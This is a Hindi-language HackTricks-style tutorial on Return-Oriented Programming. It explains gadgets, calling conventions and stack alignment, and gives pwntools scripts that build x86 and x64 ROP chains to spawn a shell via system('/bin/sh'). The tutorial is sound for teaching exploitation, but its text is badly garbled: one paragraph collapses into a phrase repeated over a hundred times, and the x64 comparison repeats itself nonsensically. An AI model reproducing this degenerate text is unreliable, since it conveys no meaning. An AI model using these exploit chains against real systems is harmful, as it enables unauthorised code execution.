ROP - Return Oriented Programing

हैकट्रिक्स का समर्थन करें

मूल जानकारी

रिटर्न-ओरिएंटेड प्रोग्रामिंग (ROP) एक उन्नत शोषण तकनीक है जिसका उपयोग No-Execute (NX) या डेटा एक्जीक्यूशन प्रिवेंशन (DEP) जैसी सुरक्षा उपायों को टालने के लिए किया जाता है। शेलकोड इंजेक्शन और निष्पादन की बजाय, एक हमलावर बाइनरी या लोडेड लाइब्रेरी में पहले से मौजूद कोड के टुकड़ों का उपयोग करता है, जिन्हें "गैजेट्स" कहा जाता है। प्रत्येक गैजेट सामान्यत: ret निर्देश के साथ समाप्त होता है और एक छोटे से ऑपरेशन का निष्पादन करता है, जैसे कि रजिस्टर के बीच डेटा को ले जाना या अंकगणितीय ऑपरेशन करना। इन गैजेट्स को एक साथ जोड़कर, एक हमलावर एक पेलोड बना सकता है जिससे वे विभिन्न ऑपरेशन कर सकते हैं, NX/DEP सुरक्षा की रक्षा को पार करते हुए।

ROP कैसे काम करता है

  1. नियंत्रण फ्लो हाइजैकिंग: पहले, एक हमलावर को किसी प्रोग्राम के नियंत्रण फ्लो को हाइजैक करने की आवश्यकता होती है, सामान्यत: एक बफर ओवरफ्लो का उपयोग करके स्टैक पर सहेजी गई वापसी पता को अधिक करने के लिए।

  2. गैजेट चेनिंग: फिर हमलावर ध्यानपूर्वक गैजेट्स का चयन करता है और चेनिंग करता है ताकि वह वांछित क्रियाएँ कर सके। इसमें किसी फ़ंक्शन के लिए तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से तार्किक तरीके से

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

आरओपी श्रृंखला उदाहरण x64

x64 (64-बिट) कॉलिंग कनवेंशन

  • यूनिक्स-जैसे सिस्टम पर System V AMD64 ABI कॉलिंग कनवेंशन का उपयोग करता है, जहां पहले छह पूर्णांक या पॉइंटर आर्ग्यूमेंट को रजिस्टर RDI, RSI, RDX, RCX, R8, और R9 में पारित किया जाता है। अतिरिक्त आर्ग्यूमेंट स्टैक पर पारित किए जाते हैं। रिटर्न मान RAX में रखा जाता है।

  • Windows x64 कॉलिंग कनवेंशन में पहले चार पूर्णांक या पॉइंटर आर्ग्यूमेंट के लिए RCX, RDX, R8, और R9 का उपयोग किया जाता है, अतिरिक्त आर्ग्यूमेंट स्टैक पर पारित किए जाते हैं। रिटर्न मान RAX में रखा जाता है।

  • रजिस्टर: 64-बिट रजिस्टर में RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, और R8 से R15 शामिल हैं।

गैजेट्स खोजना

हमारे उद्देश्य के लिए, चलो हमें उन गैजेट्स पर ध्यान केंद्रित करें जो हमें RDI रजिस्टर सेट करने की अनुमति देंगे (system() को आर्ग्यूमेंट के रूप में "/bin/sh" स्ट्रिंग पास करने के लिए) और फिर system() फ़ंक्शन को कॉल करेंगे। हम मान लेंगे कि हमने निम्नलिखित गैजेट्स की पहचान कर ली है:

  • pop rdi; ret: स्टैक के शीर्ष मान को RDI में पॉप करता है और फिर वापस लौटता है। system() के लिए हमारे आर्ग्यूमेंट सेट करने के लिए आवश्यक है।

  • ret: कुछ स्थितियों में स्टैक संरेखण के लिए उपयोगी एक सरल रिटर्न।

और हम system() फ़ंक्शन का पता जानते हैं।

ROP श्रृंखला

नीचे एक उदाहरण है जिसमें pwntools का उपयोग करके x64 पर system('/bin/sh') को निष्पादित करने के लिए आरओपी श्रृंखला सेट अप और निष्पादित करने के लिए किया गया है:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Stack Alignment

x86-64 ABI सुनिश्चित करता है कि कॉल इंस्ट्रक्शन को निष्पादित करते समय स्टैक 16-बाइट एलाइन्ड हो। LIBC, प्रदर्शन को अनुकूलित करने के लिए SSE इंस्ट्रक्शन (जैसे movaps) का उपयोग करता है जो इस एलाइनमेंट की आवश्यकता है। यदि स्टैक सही ढंग से एलाइन नहीं है (यानी RSP 16 का गुणक नहीं है), तो ROP चेन में system जैसे फ़ंक्शन को कॉल करने में विफलता होगी। इसे ठीक करने के लिए, आपके ROP चेन में system को कॉल करने से पहले एक ret गैजेट जोड़ें।

x86 बनाम x64 मुख्य अंतर

क्योंकि x64 पहले कुछ तर्क के लिए रजिस्टर्स का उपयोग करता है, इसे साधारण फ़ंक्शन कॉल के लिए x86 की तुलना में कम गैजेट्स की आवश्यकता होती है, लेकिन सही गैजेट्स का पता लगाना और उन्हें चेन करना अधिक जटिल हो सकता है क्योंकि रजिस्टर्स की बढ़ी हुई संख्या और बड़े पते का अंतर्वस्तु अंतर्वस्तु के लिए अवसर और चुनौतियाँ प्रदान करते हैं। x64 आर्किटेक्चर में बढ़ी हुई रजिस्टर्स की संख्या और बड़े पते का अंतर्वस्तु अंतर्वस्तु विकसित करने के लिए अवसर और चुनौतियाँ प्रदान करते हैं, विशेष रूप से Return-Oriented Programming (ROP) के संदर्भ में।

Last updated